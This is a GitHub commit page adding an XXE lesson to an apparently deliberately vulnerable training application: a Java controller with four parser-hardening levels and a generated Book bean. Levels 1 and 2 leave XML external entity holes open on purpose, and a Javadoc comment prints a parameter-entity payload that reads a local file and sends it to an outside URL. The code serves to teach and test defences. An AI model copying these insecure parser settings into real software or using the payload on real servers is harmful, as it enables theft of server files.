-
-
Notifications
You must be signed in to change notification settings - Fork 408
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #207 from SasanLabs/jibintegration
XXE attack
- Loading branch information
Showing
14 changed files
with
726 additions
and
2 deletions.
There are no files selected for viewing
223 changes: 223 additions & 0 deletions
223
src/main/java/org/sasanlabs/service/vulnerability/xxe/XXEVulnerability.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,223 @@ | ||
package org.sasanlabs.service.vulnerability.xxe; | ||
|
||
import java.io.InputStream; | ||
import javax.servlet.http.HttpServletRequest; | ||
import javax.xml.bind.JAXBContext; | ||
import javax.xml.bind.JAXBElement; | ||
import javax.xml.bind.JAXBException; | ||
import javax.xml.bind.Unmarshaller; | ||
import javax.xml.parsers.ParserConfigurationException; | ||
import javax.xml.parsers.SAXParserFactory; | ||
import javax.xml.transform.Source; | ||
import javax.xml.transform.sax.SAXSource; | ||
import org.apache.logging.log4j.LogManager; | ||
import org.apache.logging.log4j.Logger; | ||
import org.sasanlabs.internal.utility.LevelConstants; | ||
import org.sasanlabs.internal.utility.annotations.AttackVector; | ||
import org.sasanlabs.internal.utility.annotations.ResponseType; | ||
import org.sasanlabs.internal.utility.annotations.VulnerableAppRequestMapping; | ||
import org.sasanlabs.internal.utility.annotations.VulnerableAppRestController; | ||
import org.sasanlabs.service.vulnerability.bean.GenericVulnerabilityResponseBean; | ||
import org.sasanlabs.service.vulnerability.xxe.bean.Book; | ||
import org.sasanlabs.service.vulnerability.xxe.bean.ObjectFactory; | ||
import org.sasanlabs.service.vulnerability.xxe.dao.BookEntity; | ||
import org.sasanlabs.service.vulnerability.xxe.dao.BookEntityRepository; | ||
import org.sasanlabs.vulnerability.types.VulnerabilitySubType; | ||
import org.sasanlabs.vulnerability.types.VulnerabilityType; | ||
import org.springframework.beans.factory.annotation.Autowired; | ||
import org.springframework.http.HttpStatus; | ||
import org.springframework.http.ResponseEntity; | ||
import org.springframework.web.bind.annotation.RequestMethod; | ||
import org.xml.sax.InputSource; | ||
import org.xml.sax.SAXException; | ||
|
||
/** | ||
* Resources referred while writing this Vulnerability. <br> | ||
* General XXE: <br> | ||
* 1. https://www.youtube.com/watch?v=DREgLWZqMWg <br> | ||
* 2. https://portswigger.net/web-security/xxe <br> | ||
* 3. https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9 <br> | ||
* | ||
* <p>Parameter Entities attack:<br> | ||
* 1. https://securitylab.github.com/research/restlet_xxe_vulnerability_CVE-2017-14949 <br> | ||
* | ||
* <p>Prevention technique: <br> | ||
* 1. | ||
* https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md1 | ||
* <br> | ||
* | ||
* @author KSASAN preetkaran20@gmail.com | ||
*/ | ||
@VulnerableAppRestController( | ||
descriptionLabel = "XXE_VULNERABILITY", | ||
value = "XXEVulnerability", | ||
type = {VulnerabilityType.XXE}) | ||
public class XXEVulnerability { | ||
|
||
private BookEntityRepository bookEntityRepository; | ||
private static final transient Logger LOGGER = LogManager.getLogger(XXEVulnerability.class); | ||
|
||
@Autowired | ||
public XXEVulnerability(BookEntityRepository bookEntityRepository) { | ||
// This needs to be done to access Server's Local File and doing Http Outbound call. | ||
System.setProperty("javax.xml.accessExternalDTD", "all"); | ||
this.bookEntityRepository = bookEntityRepository; | ||
} | ||
|
||
// No XXE protection | ||
@AttackVector( | ||
vulnerabilityExposed = VulnerabilitySubType.XXE, | ||
description = "XXE_NO_VALIDATION") | ||
@VulnerableAppRequestMapping( | ||
value = LevelConstants.LEVEL_1, | ||
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION", | ||
htmlTemplate = "LEVEL_1/XXE", | ||
requestMethod = RequestMethod.POST, | ||
responseType = ResponseType.JSON) | ||
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel1( | ||
HttpServletRequest request) { | ||
try { | ||
InputStream in = request.getInputStream(); | ||
JAXBContext jc = JAXBContext.newInstance(ObjectFactory.class); | ||
Unmarshaller jaxbUnmarshaller = jc.createUnmarshaller(); | ||
@SuppressWarnings("unchecked") | ||
JAXBElement<Book> bookJaxbElement = | ||
(JAXBElement<Book>) (jaxbUnmarshaller.unmarshal(in)); | ||
BookEntity bookEntity = | ||
new BookEntity(bookJaxbElement.getValue(), LevelConstants.LEVEL_1); | ||
bookEntityRepository.save(bookEntity); | ||
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>( | ||
new GenericVulnerabilityResponseBean<Book>(bookJaxbElement.getValue(), true), | ||
HttpStatus.OK); | ||
} catch (Exception e) { | ||
LOGGER.error(e); | ||
} | ||
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>( | ||
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK); | ||
} | ||
|
||
/** | ||
* Saves the JAXB Entity to Database and also builds the response. | ||
* | ||
* @param spf | ||
* @param in | ||
* @param level | ||
* @return GenericVulnerabilityResponseBean book | ||
* @throws JAXBException | ||
* @throws SAXException | ||
* @throws ParserConfigurationException | ||
*/ | ||
private ResponseEntity<GenericVulnerabilityResponseBean<Book>> saveJaxBBasedBookInformation( | ||
SAXParserFactory spf, InputStream in, String level) | ||
throws JAXBException, SAXException, ParserConfigurationException { | ||
JAXBContext jc = JAXBContext.newInstance(ObjectFactory.class); | ||
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(in)); | ||
Unmarshaller jaxbUnmarshaller = jc.createUnmarshaller(); | ||
@SuppressWarnings("unchecked") | ||
JAXBElement<Book> bookJaxbElement = | ||
(JAXBElement<Book>) (jaxbUnmarshaller.unmarshal(xmlSource)); | ||
BookEntity bookEntity = new BookEntity(bookJaxbElement.getValue(), level); | ||
bookEntityRepository.save(bookEntity); | ||
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>( | ||
new GenericVulnerabilityResponseBean<Book>(bookJaxbElement.getValue(), true), | ||
HttpStatus.OK); | ||
} | ||
|
||
/* | ||
* Case insensitive DOCTYPE is not allowed so therefore not adding a level for | ||
* that. | ||
*/ | ||
|
||
/** | ||
* if external-parameter-entities are allowed then those parameter entities can cause harm like: | ||
* | ||
* <p><!ENTITY % file SYSTEM "file:///etc/notify.conf"> <!ENTITY % eval "<!ENTITY % | ||
* exfiltrate SYSTEM 'https://www.google.com/?x=%file;'>"> <!ENTITY xxe | ||
* 'file:///etc/notify.conf'> %eval; %exfiltrate; <?xml version="1.0" encoding="UTF-8"?> | ||
* | ||
* <p><!DOCTYPE root [ <!ENTITY % param1 SYSTEM "<file location refering DTD which has some code | ||
* like above.>"> %param1; ]> <book> <name>singh</name> <isbn>isbn</isbn> | ||
* <author>author</author> <publisher>exf</publisher> </book> <br> | ||
* Only Disabling General Entities cannot stop the XXE as General Parameter entities can cause | ||
* harmful attacks Like sending internal information to attacker controlled Website http | ||
* outbound call. | ||
*/ | ||
@AttackVector( | ||
vulnerabilityExposed = VulnerabilitySubType.XXE, | ||
description = "XXE_DISABLE_GENERAL_ENTITY") | ||
@VulnerableAppRequestMapping( | ||
value = LevelConstants.LEVEL_2, | ||
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION", | ||
htmlTemplate = "LEVEL_1/XXE", | ||
requestMethod = RequestMethod.POST, | ||
responseType = ResponseType.JSON) | ||
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel2( | ||
HttpServletRequest request) { | ||
try { | ||
InputStream in = request.getInputStream(); | ||
// Only disabling external Entities | ||
SAXParserFactory spf = SAXParserFactory.newInstance(); | ||
spf.setFeature("http://xml.org/sax/features/external-general-entities", false); | ||
return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_2); | ||
} catch (Exception e) { | ||
LOGGER.error(e); | ||
} | ||
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>( | ||
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK); | ||
} | ||
|
||
// Protects against all XXE attacks. This is the configuration which is needed | ||
// in case application requires DOCTYPE declarations. | ||
@AttackVector( | ||
vulnerabilityExposed = VulnerabilitySubType.XXE, | ||
description = "XXE_DISABLE_GENERAL_AND_PARAMETER_ENTITY") | ||
@VulnerableAppRequestMapping( | ||
value = LevelConstants.LEVEL_3, | ||
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION", | ||
htmlTemplate = "LEVEL_1/XXE", | ||
requestMethod = RequestMethod.POST, | ||
responseType = ResponseType.JSON) | ||
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel3( | ||
HttpServletRequest request) { | ||
try { | ||
InputStream in = request.getInputStream(); | ||
// disabling external Entities and parameter Entities | ||
SAXParserFactory spf = SAXParserFactory.newInstance(); | ||
spf.setFeature("http://xml.org/sax/features/external-general-entities", false); | ||
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); | ||
|
||
return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_3); | ||
} catch (Exception e) { | ||
LOGGER.error(e); | ||
} | ||
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>( | ||
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK); | ||
} | ||
|
||
// Protects against XXE. This is the configuration where DOCTYPE declaration is | ||
// not required. | ||
@VulnerableAppRequestMapping( | ||
value = LevelConstants.LEVEL_4, | ||
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION", | ||
htmlTemplate = "LEVEL_1/XXE", | ||
requestMethod = RequestMethod.POST, | ||
responseType = ResponseType.JSON) | ||
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel4( | ||
HttpServletRequest request) { | ||
try { | ||
InputStream in = request.getInputStream(); | ||
// Disabling DocType. Recommended approach | ||
SAXParserFactory spf = SAXParserFactory.newInstance(); | ||
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); | ||
spf.setFeature("http://xml.org/sax/features/external-general-entities", false); | ||
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); | ||
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); | ||
|
||
return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_4); | ||
} catch (Exception e) { | ||
LOGGER.error(e); | ||
} | ||
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>( | ||
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK); | ||
} | ||
} |
147 changes: 147 additions & 0 deletions
147
src/main/java/org/sasanlabs/service/vulnerability/xxe/bean/Book.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,147 @@ | ||
// | ||
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference | ||
// Implementation, v2.2.8-b130911.1802 | ||
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> | ||
// Any modifications to this file will be lost upon recompilation of the source schema. | ||
// Generated on: 2020.09.28 at 08:45:45 AM IST | ||
// | ||
|
||
package org.sasanlabs.service.vulnerability.xxe.bean; | ||
|
||
import javax.xml.bind.annotation.XmlAccessType; | ||
import javax.xml.bind.annotation.XmlAccessorType; | ||
import javax.xml.bind.annotation.XmlElement; | ||
import javax.xml.bind.annotation.XmlType; | ||
|
||
/** | ||
* Java class for Book complex type. | ||
* | ||
* <p>The following schema fragment specifies the expected content contained within this class. | ||
* | ||
* <pre> | ||
* <complexType name="Book"> | ||
* <complexContent> | ||
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> | ||
* <sequence> | ||
* <element name="name" type="{http://www.w3.org/2001/XMLSchema}string"/> | ||
* <element name="isbn" type="{http://www.w3.org/2001/XMLSchema}string"/> | ||
* <element name="author" type="{http://www.w3.org/2001/XMLSchema}string"/> | ||
* <element name="publisher" type="{http://www.w3.org/2001/XMLSchema}string"/> | ||
* <element name="others" type="{http://www.w3.org/2001/XMLSchema}string"/> | ||
* </sequence> | ||
* </restriction> | ||
* </complexContent> | ||
* </complexType> | ||
* </pre> | ||
*/ | ||
@XmlAccessorType(XmlAccessType.FIELD) | ||
@XmlType( | ||
name = "Book", | ||
propOrder = {"name", "isbn", "author", "publisher", "others"}) | ||
public class Book { | ||
|
||
@XmlElement(required = true) | ||
protected String name; | ||
|
||
@XmlElement(required = true) | ||
protected String isbn; | ||
|
||
@XmlElement(required = true) | ||
protected String author; | ||
|
||
@XmlElement(required = true) | ||
protected String publisher; | ||
|
||
@XmlElement(required = true) | ||
protected String others; | ||
|
||
/** | ||
* Gets the value of the name property. | ||
* | ||
* @return possible object is {@link String } | ||
*/ | ||
public String getName() { | ||
return name; | ||
} | ||
|
||
/** | ||
* Sets the value of the name property. | ||
* | ||
* @param value allowed object is {@link String } | ||
*/ | ||
public void setName(String value) { | ||
this.name = value; | ||
} | ||
|
||
/** | ||
* Gets the value of the isbn property. | ||
* | ||
* @return possible object is {@link String } | ||
*/ | ||
public String getIsbn() { | ||
return isbn; | ||
} | ||
|
||
/** | ||
* Sets the value of the isbn property. | ||
* | ||
* @param value allowed object is {@link String } | ||
*/ | ||
public void setIsbn(String value) { | ||
this.isbn = value; | ||
} | ||
|
||
/** | ||
* Gets the value of the author property. | ||
* | ||
* @return possible object is {@link String } | ||
*/ | ||
public String getAuthor() { | ||
return author; | ||
} | ||
|
||
/** | ||
* Sets the value of the author property. | ||
* | ||
* @param value allowed object is {@link String } | ||
*/ | ||
public void setAuthor(String value) { | ||
this.author = value; | ||
} | ||
|
||
/** | ||
* Gets the value of the publisher property. | ||
* | ||
* @return possible object is {@link String } | ||
*/ | ||
public String getPublisher() { | ||
return publisher; | ||
} | ||
|
||
/** | ||
* Sets the value of the publisher property. | ||
* | ||
* @param value allowed object is {@link String } | ||
*/ | ||
public void setPublisher(String value) { | ||
this.publisher = value; | ||
} | ||
|
||
/** | ||
* Gets the value of the others property. | ||
* | ||
* @return possible object is {@link String } | ||
*/ | ||
public String getOthers() { | ||
return others; | ||
} | ||
|
||
/** | ||
* Sets the value of the others property. | ||
* | ||
* @param value allowed object is {@link String } | ||
*/ | ||
public void setOthers(String value) { | ||
this.others = value; | ||
} | ||
} |
Oops, something went wrong.